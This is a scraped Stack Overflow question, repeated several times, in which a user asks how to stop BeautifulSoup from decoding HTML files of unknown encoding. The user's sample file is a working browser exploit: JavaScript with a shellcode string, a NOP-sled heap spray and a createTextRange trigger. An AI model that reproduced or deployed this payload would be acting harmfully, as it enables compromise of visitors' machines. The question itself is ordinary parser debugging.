Is there any way to disable BeautifulSoup's Unicode decoding?
I'm trying to scrape a large amount of HTML files of unknown encodings. I chose the BeautifulSoup over the lxml parser because it's fast and has an easy API, but I find that it does not always manage to parse files due to its attempts to decode them as Unicode.
Now, I don't necessarily need it to decode the text in the HMTL, but rather identify the structure of the DOM and the included tags; if they contain more data I prefer to decode it myself.
I've tried excluding some encodings to overcome this problem, but this also doesn't always work.
Can this feature be disabled in some way?
Here's the base for my parser:
from bs4 import BeautifulSoup, Comment, Tag
class HTMLParser():
def __init__(self, data, exclude_encodings=None):
self.html_tree = BeautifulSoup(data, 'lxml', exclude_encodings=exclude_encodings)
self._tag_handlers = dict()
def start(self):
for node in self.html_tree.recursiveChildGenerator():
if isinstance(node, Tag):
if node.name in self._tag_handlers and self._tag_handlers[node.name] is not None:
self._tag_handlers[node.name](node)
elif isinstance(node, Comment):
self._handle_comment(node)
Tag handlers are loaded accordingly to what's needed to be parsed and how.
Also, here is a sample of the html that's causing the problem:
<html> <head> <script language="javascript"> var shellcode_str = "}yÒüiõ—·BxC‘¾¿f±© Ñâ=*ù²|4{öã'uH@ ™´˜°q$áv?gN›’Ö¨%5I ,Ÿ(Ô“¸O-µA¶sFº‡øq!ë|+ü»~x'J¹B—¸=¶¾’“F9Õ·÷Ö/r?7CzNI:â$@ù–™wpg„ýf˜±A4º´²›%‘¨µy{ õt³,¿©O°v5GãþÀá2ÐÔ- K1à}<ŸuHyutB¿´ ø@kÔ²™‘˜¾»’CA#õ|fë?ý"ü-I ÖÓá/¶x7N,†ùwvzg}€â~ ¹%=±ºJ›sp'Ÿr5°¨H–4“ Kµ<ˆÕ— à$³©G{FqO¸·‰ã?Af·wq)ÿÇÆÁø–;á3ü{Nz ù…ë-~H¨›±º ³vu=C°0â}àtK™@¸$<¹©¶GJ¾|xg%Ÿ“B´’‘µsy ²p41Ö˜#Ô/ý;ãO—ÕI,»'F¿õr75†àköÀâzHu}KŒë Ÿp"á*÷ãv/´rO·~qf³’A ˜¹±B7=+Õ¿—C4N‡ø°»‘st,{F¾©IyÐÔƒý™g¸x5$%–|'“G-@?Jwõ0üº²¶›¨µ< ÓÖ„ùs w<¿°˜¸t âgCf7?¹»,(Ñãz} Òà¾3Ô¶´—Jº–%{Õ³·Ÿëý:õ±™µ“©u~pyvI’¨ø/GrFKqáH|)Ö!Áù‘…üxNzOq'u=²›{As8á$~5}4yàB|9ã@-™âCvÖtw4¾K» ü·F¿‘iý€õˆø7¶Jp›ºr x%µ“¹2ëGf‰ùB±5?© ˜/-¨’@O–=ŸÔ°—¸,²g³$<I´Õ'ANHÙÈÙt$ô¸ØÉZ•[+ɱH1CƒëüCâ-5²ÍÆC|D#r®2''~1eÄõž_{¿‘è6™œéö%r)˜Ù‰~zàAs{%¿|)þË/Þ‹ŽóUÇt‰Uªyužò<¸œ9ö3VÉ ’§28Úk ô×rI3¡Gµr5a”gâL&ȃŸ@0LûLŸs,ÅÛWè¸ö©kn©ÔÏ¡÷ØëŸéè`f{gR)×ïÞ¢ñè!™EfÜ"µ®våØŠ÷n2" Iœ€9NhPS±ˆ[¹Ú"¡*ﲩ¸‡°© =O§£kÇP]6“Á¢íÙÂ)ŒÙl y*;o,5–Ñ£†[èáÃáßyÍw 2— ædý ŽÐ¥r«pç`‹z^Ôj½Ÿfj‚IOèòÿ£0"; var nop_str = "ùHA"; var shellcode_total_length = 20 + shellcode_str.length; while(nop_str.length < shellcode_total_length) { nop_str += nop_str; } var nop_final = nop_str.substring(0,shellcode_total_length); var remaining_nops = nop_str.substring(0,nop_str.length-shellcode_total_length); while(remaining_nops.length + shellcode_total_length < 0x40000) { remaining_nops += nop_final; } var arr = new Array(); var counter = 0; var max_size = 2020; function func() { spain_id.innerHTML = Math.round((counter / max_size) * 100); if(counter < max_size) { arr.push(remaining_nops + shellcode_str); counter++; } else { spain_id.innerHTML = 100; element = document.createElement("input"); element.type = "image"; _FDPS = element.createTextRange(); } } function interval_func() { setInterval('func()', 5) } </script>
What happens is that the BeautifulSoup object is parsed without any children, even though it clearly has a script node, and so my start method is ineffective.
python html web-scraping beautifulsoup
asked Nov 20 at 8:07
leozippin
11
|
show 7 more comments
I'm trying to scrape a large amount of HTML files of unknown encodings. I chose the BeautifulSoup over the lxml parser because it's fast and has an easy API, but I find that it does not always manage to parse files due to its attempts to decode them as Unicode.
Now, I don't necessarily need it to decode the text in the HMTL, but rather identify the structure of the DOM and the included tags; if they contain more data I prefer to decode it myself.
I've tried excluding some encodings to overcome this problem, but this also doesn't always work.
Can this feature be disabled in some way?
Here's the base for my parser:
from bs4 import BeautifulSoup, Comment, Tag
class HTMLParser():
def __init__(self, data, exclude_encodings=None):
self.html_tree = BeautifulSoup(data, 'lxml', exclude_encodings=exclude_encodings)
self._tag_handlers = dict()
def start(self):
for node in self.html_tree.recursiveChildGenerator():
if isinstance(node, Tag):
if node.name in self._tag_handlers and self._tag_handlers[node.name] is not None:
self._tag_handlers[node.name](node)
elif isinstance(node, Comment):
self._handle_comment(node)
Tag handlers are loaded accordingly to what's needed to be parsed and how.
Also, here is a sample of the html that's causing the problem:
<html> <head> <script language="javascript"> var shellcode_str = "}yÒüiõ—·BxC‘¾¿f±© Ñâ=*ù²|4{öã'uH@ ™´˜°q$áv?gN›’Ö¨%5I ,Ÿ(Ô“¸O-µA¶sFº‡øq!ë|+ü»~x'J¹B—¸=¶¾’“F9Õ·÷Ö/r?7CzNI:â$@ù–™wpg„ýf˜±A4º´²›%‘¨µy{ õt³,¿©O°v5GãþÀá2ÐÔ- K1à}<ŸuHyutB¿´ ø@kÔ²™‘˜¾»’CA#õ|fë?ý"ü-I ÖÓá/¶x7N,†ùwvzg}€â~ ¹%=±ºJ›sp'Ÿr5°¨H–4“ Kµ<ˆÕ— à$³©G{FqO¸·‰ã?Af·wq)ÿÇÆÁø–;á3ü{Nz ù…ë-~H¨›±º ³vu=C°0â}àtK™@¸$<¹©¶GJ¾|xg%Ÿ“B´’‘µsy ²p41Ö˜#Ô/ý;ãO—ÕI,»'F¿õr75†àköÀâzHu}KŒë Ÿp"á*÷ãv/´rO·~qf³’A ˜¹±B7=+Õ¿—C4N‡ø°»‘st,{F¾©IyÐÔƒý™g¸x5$%–|'“G-@?Jwõ0üº²¶›¨µ< ÓÖ„ùs w<¿°˜¸t âgCf7?¹»,(Ñãz} Òà¾3Ô¶´—Jº–%{Õ³·Ÿëý:õ±™µ“©u~pyvI’¨ø/GrFKqáH|)Ö!Áù‘…üxNzOq'u=²›{As8á$~5}4yàB|9ã@-™âCvÖtw4¾K» ü·F¿‘iý€õˆø7¶Jp›ºr x%µ“¹2ëGf‰ùB±5?© ˜/-¨’@O–=ŸÔ°—¸,²g³$<I´Õ'ANHÙÈÙt$ô¸ØÉZ•[+ɱH1CƒëüCâ-5²ÍÆC|D#r®2''~1eÄõž_{¿‘è6™œéö%r)˜Ù‰~zàAs{%¿|)þË/Þ‹ŽóUÇt‰Uªyužò<¸œ9ö3VÉ ’§28Úk ô×rI3¡Gµr5a”gâL&ȃŸ@0LûLŸs,ÅÛWè¸ö©kn©ÔÏ¡÷ØëŸéè`f{gR)×ïÞ¢ñè!™EfÜ"µ®våØŠ÷n2" Iœ€9NhPS±ˆ[¹Ú"¡*ﲩ¸‡°© =O§£kÇP]6“Á¢íÙÂ)ŒÙl y*;o,5–Ñ£†[èáÃáßyÍw 2— ædý ŽÐ¥r«pç`‹z^Ôj½Ÿfj‚IOèòÿ£0"; var nop_str = "ùHA"; var shellcode_total_length = 20 + shellcode_str.length; while(nop_str.length < shellcode_total_length) { nop_str += nop_str; } var nop_final = nop_str.substring(0,shellcode_total_length); var remaining_nops = nop_str.substring(0,nop_str.length-shellcode_total_length); while(remaining_nops.length + shellcode_total_length < 0x40000) { remaining_nops += nop_final; } var arr = new Array(); var counter = 0; var max_size = 2020; function func() { spain_id.innerHTML = Math.round((counter / max_size) * 100); if(counter < max_size) { arr.push(remaining_nops + shellcode_str); counter++; } else { spain_id.innerHTML = 100; element = document.createElement("input"); element.type = "image"; _FDPS = element.createTextRange(); } } function interval_func() { setInterval('func()', 5) } </script>
What happens is that the BeautifulSoup object is parsed without any children, even though it clearly has a script node, and so my start method is ineffective.
python html web-scraping beautifulsoup
asked Nov 20 at 8:07
leozippin
11
You cannot parse "the tags only". HTML is a string. To know which parts of the string are elements, and which parts are text, the whole thing must be parsed. Show the code you are currently using.
– Tomalak
Nov 20 at 9:02
just curious, @leozippin are you using linux?
– ewwink
Nov 20 at 9:20
@ewwink yes, I'm using debian.
– leozippin
Nov 20 at 9:35
in some case, bs4 have problem with windows encoding in linux. and there is no option to disable except you edit the core of bs4.
– ewwink
Nov 20 at 9:51
Don't believe hand-wavy "it's not possible" statements. Show the code you are currently using.
– Tomalak
Nov 20 at 9:57
|
show 7 more comments
I'm trying to scrape a large amount of HTML files of unknown encodings. I chose the BeautifulSoup over the lxml parser because it's fast and has an easy API, but I find that it does not always manage to parse files due to its attempts to decode them as Unicode.
Now, I don't necessarily need it to decode the text in the HMTL, but rather identify the structure of the DOM and the included tags; if they contain more data I prefer to decode it myself.
I've tried excluding some encodings to overcome this problem, but this also doesn't always work.
Can this feature be disabled in some way?
Here's the base for my parser:
from bs4 import BeautifulSoup, Comment, Tag
class HTMLParser():
def __init__(self, data, exclude_encodings=None):
self.html_tree = BeautifulSoup(data, 'lxml', exclude_encodings=exclude_encodings)
self._tag_handlers = dict()
def start(self):
for node in self.html_tree.recursiveChildGenerator():
if isinstance(node, Tag):
if node.name in self._tag_handlers and self._tag_handlers[node.name] is not None:
self._tag_handlers[node.name](node)
elif isinstance(node, Comment):
self._handle_comment(node)
Tag handlers are loaded accordingly to what's needed to be parsed and how.
Also, here is a sample of the html that's causing the problem:
<html> <head> <script language="javascript"> var shellcode_str = "}yÒüiõ—·BxC‘¾¿f±© Ñâ=*ù²|4{öã'uH@ ™´˜°q$áv?gN›’Ö¨%5I ,Ÿ(Ô“¸O-µA¶sFº‡øq!ë|+ü»~x'J¹B—¸=¶¾’“F9Õ·÷Ö/r?7CzNI:â$@ù–™wpg„ýf˜±A4º´²›%‘¨µy{ õt³,¿©O°v5GãþÀá2ÐÔ- K1à}<ŸuHyutB¿´ ø@kÔ²™‘˜¾»’CA#õ|fë?ý"ü-I ÖÓá/¶x7N,†ùwvzg}€â~ ¹%=±ºJ›sp'Ÿr5°¨H–4“ Kµ<ˆÕ— à$³©G{FqO¸·‰ã?Af·wq)ÿÇÆÁø–;á3ü{Nz ù…ë-~H¨›±º ³vu=C°0â}àtK™@¸$<¹©¶GJ¾|xg%Ÿ“B´’‘µsy ²p41Ö˜#Ô/ý;ãO—ÕI,»'F¿õr75†àköÀâzHu}KŒë Ÿp"á*÷ãv/´rO·~qf³’A ˜¹±B7=+Õ¿—C4N‡ø°»‘st,{F¾©IyÐÔƒý™g¸x5$%–|'“G-@?Jwõ0üº²¶›¨µ< ÓÖ„ùs w<¿°˜¸t âgCf7?¹»,(Ñãz} Òà¾3Ô¶´—Jº–%{Õ³·Ÿëý:õ±™µ“©u~pyvI’¨ø/GrFKqáH|)Ö!Áù‘…üxNzOq'u=²›{As8á$~5}4yàB|9ã@-™âCvÖtw4¾K» ü·F¿‘iý€õˆø7¶Jp›ºr x%µ“¹2ëGf‰ùB±5?© ˜/-¨’@O–=ŸÔ°—¸,²g³$<I´Õ'ANHÙÈÙt$ô¸ØÉZ•[+ɱH1CƒëüCâ-5²ÍÆC|D#r®2''~1eÄõž_{¿‘è6™œéö%r)˜Ù‰~zàAs{%¿|)þË/Þ‹ŽóUÇt‰Uªyužò<¸œ9ö3VÉ ’§28Úk ô×rI3¡Gµr5a”gâL&ȃŸ@0LûLŸs,ÅÛWè¸ö©kn©ÔÏ¡÷ØëŸéè`f{gR)×ïÞ¢ñè!™EfÜ"µ®våØŠ÷n2" Iœ€9NhPS±ˆ[¹Ú"¡*ﲩ¸‡°© =O§£kÇP]6“Á¢íÙÂ)ŒÙl y*;o,5–Ñ£†[èáÃáßyÍw 2— ædý ŽÐ¥r«pç`‹z^Ôj½Ÿfj‚IOèòÿ£0"; var nop_str = "ùHA"; var shellcode_total_length = 20 + shellcode_str.length; while(nop_str.length < shellcode_total_length) { nop_str += nop_str; } var nop_final = nop_str.substring(0,shellcode_total_length); var remaining_nops = nop_str.substring(0,nop_str.length-shellcode_total_length); while(remaining_nops.length + shellcode_total_length < 0x40000) { remaining_nops += nop_final; } var arr = new Array(); var counter = 0; var max_size = 2020; function func() { spain_id.innerHTML = Math.round((counter / max_size) * 100); if(counter < max_size) { arr.push(remaining_nops + shellcode_str); counter++; } else { spain_id.innerHTML = 100; element = document.createElement("input"); element.type = "image"; _FDPS = element.createTextRange(); } } function interval_func() { setInterval('func()', 5) } </script>
What happens is that the BeautifulSoup object is parsed without any children, even though it clearly has a script node, and so my start method is ineffective.
python html web-scraping beautifulsoup
asked Nov 20 at 8:07
leozippin
11
I'm trying to scrape a large amount of HTML files of unknown encodings. I chose the BeautifulSoup over the lxml parser because it's fast and has an easy API, but I find that it does not always manage to parse files due to its attempts to decode them as Unicode.
Now, I don't necessarily need it to decode the text in the HMTL, but rather identify the structure of the DOM and the included tags; if they contain more data I prefer to decode it myself.
I've tried excluding some encodings to overcome this problem, but this also doesn't always work.
Can this feature be disabled in some way?
Here's the base for my parser:
from bs4 import BeautifulSoup, Comment, Tag
class HTMLParser():
def __init__(self, data, exclude_encodings=None):
self.html_tree = BeautifulSoup(data, 'lxml', exclude_encodings=exclude_encodings)
self._tag_handlers = dict()
def start(self):
for node in self.html_tree.recursiveChildGenerator():
if isinstance(node, Tag):
if node.name in self._tag_handlers and self._tag_handlers[node.name] is not None:
self._tag_handlers[node.name](node)
elif isinstance(node, Comment):
self._handle_comment(node)
Tag handlers are loaded accordingly to what's needed to be parsed and how.
Also, here is a sample of the html that's causing the problem:
<html> <head> <script language="javascript"> var shellcode_str = "}yÒüiõ—·BxC‘¾¿f±© Ñâ=*ù²|4{öã'uH@ ™´˜°q$áv?gN›’Ö¨%5I ,Ÿ(Ô“¸O-µA¶sFº‡øq!ë|+ü»~x'J¹B—¸=¶¾’“F9Õ·÷Ö/r?7CzNI:â$@ù–™wpg„ýf˜±A4º´²›%‘¨µy{ õt³,¿©O°v5GãþÀá2ÐÔ- K1à}<ŸuHyutB¿´ ø@kÔ²™‘˜¾»’CA#õ|fë?ý"ü-I ÖÓá/¶x7N,†ùwvzg}€â~ ¹%=±ºJ›sp'Ÿr5°¨H–4“ Kµ<ˆÕ— à$³©G{FqO¸·‰ã?Af·wq)ÿÇÆÁø–;á3ü{Nz ù…ë-~H¨›±º ³vu=C°0â}àtK™@¸$<¹©¶GJ¾|xg%Ÿ“B´’‘µsy ²p41Ö˜#Ô/ý;ãO—ÕI,»'F¿õr75†àköÀâzHu}KŒë Ÿp"á*÷ãv/´rO·~qf³’A ˜¹±B7=+Õ¿—C4N‡ø°»‘st,{F¾©IyÐÔƒý™g¸x5$%–|'“G-@?Jwõ0üº²¶›¨µ< ÓÖ„ùs w<¿°˜¸t âgCf7?¹»,(Ñãz} Òà¾3Ô¶´—Jº–%{Õ³·Ÿëý:õ±™µ“©u~pyvI’¨ø/GrFKqáH|)Ö!Áù‘…üxNzOq'u=²›{As8á$~5}4yàB|9ã@-™âCvÖtw4¾K» ü·F¿‘iý€õˆø7¶Jp›ºr x%µ“¹2ëGf‰ùB±5?© ˜/-¨’@O–=ŸÔ°—¸,²g³$<I´Õ'ANHÙÈÙt$ô¸ØÉZ•[+ɱH1CƒëüCâ-5²ÍÆC|D#r®2''~1eÄõž_{¿‘è6™œéö%r)˜Ù‰~zàAs{%¿|)þË/Þ‹ŽóUÇt‰Uªyužò<¸œ9ö3VÉ ’§28Úk ô×rI3¡Gµr5a”gâL&ȃŸ@0LûLŸs,ÅÛWè¸ö©kn©ÔÏ¡÷ØëŸéè`f{gR)×ïÞ¢ñè!™EfÜ"µ®våØŠ÷n2" Iœ€9NhPS±ˆ[¹Ú"¡*ﲩ¸‡°© =O§£kÇP]6“Á¢íÙÂ)ŒÙl y*;o,5–Ñ£†[èáÃáßyÍw 2— ædý ŽÐ¥r«pç`‹z^Ôj½Ÿfj‚IOèòÿ£0"; var nop_str = "ùHA"; var shellcode_total_length = 20 + shellcode_str.length; while(nop_str.length < shellcode_total_length) { nop_str += nop_str; } var nop_final = nop_str.substring(0,shellcode_total_length); var remaining_nops = nop_str.substring(0,nop_str.length-shellcode_total_length); while(remaining_nops.length + shellcode_total_length < 0x40000) { remaining_nops += nop_final; } var arr = new Array(); var counter = 0; var max_size = 2020; function func() { spain_id.innerHTML = Math.round((counter / max_size) * 100); if(counter < max_size) { arr.push(remaining_nops + shellcode_str); counter++; } else { spain_id.innerHTML = 100; element = document.createElement("input"); element.type = "image"; _FDPS = element.createTextRange(); } } function interval_func() { setInterval('func()', 5) } </script>
What happens is that the BeautifulSoup object is parsed without any children, even though it clearly has a script node, and so my start method is ineffective.
python html web-scraping beautifulsoup
python html web-scraping beautifulsoup
asked Nov 20 at 8:07
leozippin
11
asked Nov 20 at 8:07
leozippin
11
edited Nov 20 at 9:57
asked Nov 20 at 8:07
leozippin
11
asked Nov 20 at 8:07
leozippin
11
asked Nov 20 at 8:07
leozippin
11
11
You cannot parse "the tags only". HTML is a string. To know which parts of the string are elements, and which parts are text, the whole thing must be parsed. Show the code you are currently using.
– Tomalak
Nov 20 at 9:02
just curious, @leozippin are you using linux?
– ewwink
Nov 20 at 9:20
@ewwink yes, I'm using debian.
– leozippin
Nov 20 at 9:35
in some case, bs4 have problem with windows encoding in linux. and there is no option to disable except you edit the core of bs4.
– ewwink
Nov 20 at 9:51
Don't believe hand-wavy "it's not possible" statements. Show the code you are currently using.
– Tomalak
Nov 20 at 9:57
|
show 7 more comments
You cannot parse "the tags only". HTML is a string. To know which parts of the string are elements, and which parts are text, the whole thing must be parsed. Show the code you are currently using.
– Tomalak
Nov 20 at 9:02
just curious, @leozippin are you using linux?
– ewwink
Nov 20 at 9:20
@ewwink yes, I'm using debian.
– leozippin
Nov 20 at 9:35
in some case, bs4 have problem with windows encoding in linux. and there is no option to disable except you edit the core of bs4.
– ewwink
Nov 20 at 9:51
Don't believe hand-wavy "it's not possible" statements. Show the code you are currently using.
– Tomalak
Nov 20 at 9:57
You cannot parse "the tags only". HTML is a string. To know which parts of the string are elements, and which parts are text, the whole thing must be parsed. Show the code you are currently using.
– Tomalak
Nov 20 at 9:02
You cannot parse "the tags only". HTML is a string. To know which parts of the string are elements, and which parts are text, the whole thing must be parsed. Show the code you are currently using.
– Tomalak
Nov 20 at 9:02
just curious, @leozippin are you using linux?
– ewwink
Nov 20 at 9:20
just curious, @leozippin are you using linux?
– ewwink
Nov 20 at 9:20
@ewwink yes, I'm using debian.
– leozippin
Nov 20 at 9:35
@ewwink yes, I'm using debian.
– leozippin
Nov 20 at 9:35
in some case, bs4 have problem with windows encoding in linux. and there is no option to disable except you edit the core of bs4.
– ewwink
Nov 20 at 9:51
in some case, bs4 have problem with windows encoding in linux. and there is no option to disable except you edit the core of bs4.
– ewwink
Nov 20 at 9:51
Don't believe hand-wavy "it's not possible" statements. Show the code you are currently using.
– Tomalak
Nov 20 at 9:57
Don't believe hand-wavy "it's not possible" statements. Show the code you are currently using.
– Tomalak
Nov 20 at 9:57
|
show 7 more comments
active
oldest
votes
Your Answer
StackExchange.ifUsing("editor", function () {
StackExchange.using("externalEditor", function () {
StackExchange.using("snippets", function () {
StackExchange.snippets.init();
});
});
}, "code-snippets");
StackExchange.ready(function() {
var channelOptions = {
tags: "".split(" "),
id: "1"
};
initTagRenderer("".split(" "), "".split(" "), channelOptions);
StackExchange.using("externalEditor", function() {
// Have to fire editor after snippets, if snippets enabled
if (StackExchange.settings.snippets.snippetsEnabled) {
StackExchange.using("snippets", function() {
createEditor();
});
}
else {
createEditor();
}
});
function createEditor() {
StackExchange.prepareEditor({
heartbeatType: 'answer',
autoActivateHeartbeat: false,
convertImagesToLinks: true,
noModals: true,
showLowRepImageUploadWarning: true,
reputationToPostImages: 10,
bindNavPrevention: true,
postfix: "",
imageUploader: {
brandingHtml: "Powered by u003ca class="icon-imgur-white" href="https://imgur.com/"u003eu003c/au003e",
contentPolicyHtml: "User contributions licensed under u003ca href="https://creativecommons.org/licenses/by-sa/3.0/"u003ecc by-sa 3.0 with attribution requiredu003c/au003e u003ca href="https://stackoverflow.com/legal/content-policy"u003e(content policy)u003c/au003e",
allowUrls: true
},
onDemand: true,
discardSelector: ".discard-answer"
,immediatelyShowMarkdownHelp:true
});
}
});
Sign up or log in
StackExchange.ready(function () {
StackExchange.helpers.onClickDraftSave('#login-link');
});
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
StackExchange.ready(
function () {
StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fstackoverflow.com%2fquestions%2f53388652%2fis-there-any-way-to-disable-beautifulsoups-unicode-decoding%23new-answer', 'question_page');
}
);
Post as a guest
Required, but never shown
active
oldest
votes
active
oldest
votes
active
oldest
votes
active
oldest
votes
Thanks for contributing an answer to Stack Overflow!
- Please be sure to answer the question. Provide details and share your research!
But avoid …
- Asking for help, clarification, or responding to other answers.
- Making statements based on opinion; back them up with references or personal experience.
To learn more, see our tips on writing great answers.
Some of your past answers have not been well-received, and you're in danger of being blocked from answering.
Please pay close attention to the following guidance:
- Please be sure to answer the question. Provide details and share your research!
But avoid …
- Asking for help, clarification, or responding to other answers.
- Making statements based on opinion; back them up with references or personal experience.
To learn more, see our tips on writing great answers.
Sign up or log in
StackExchange.ready(function () {
StackExchange.helpers.onClickDraftSave('#login-link');
});
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
StackExchange.ready(
function () {
StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fstackoverflow.com%2fquestions%2f53388652%2fis-there-any-way-to-disable-beautifulsoups-unicode-decoding%23new-answer', 'question_page');
}
);
Post as a guest
Required, but never shown
Sign up or log in
StackExchange.ready(function () {
StackExchange.helpers.onClickDraftSave('#login-link');
});
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
Sign up or log in
StackExchange.ready(function () {
StackExchange.helpers.onClickDraftSave('#login-link');
});
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
Sign up or log in
StackExchange.ready(function () {
StackExchange.helpers.onClickDraftSave('#login-link');
});
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
You cannot parse "the tags only". HTML is a string. To know which parts of the string are elements, and which parts are text, the whole thing must be parsed. Show the code you are currently using.
– Tomalak
Nov 20 at 9:02
just curious, @leozippin are you using linux?
– ewwink
Nov 20 at 9:20
@ewwink yes, I'm using debian.
– leozippin
Nov 20 at 9:35
in some case, bs4 have problem with windows encoding in linux. and there is no option to disable except you edit the core of bs4.
– ewwink
Nov 20 at 9:51
Don't believe hand-wavy "it's not possible" statements. Show the code you are currently using.
– Tomalak
Nov 20 at 9:57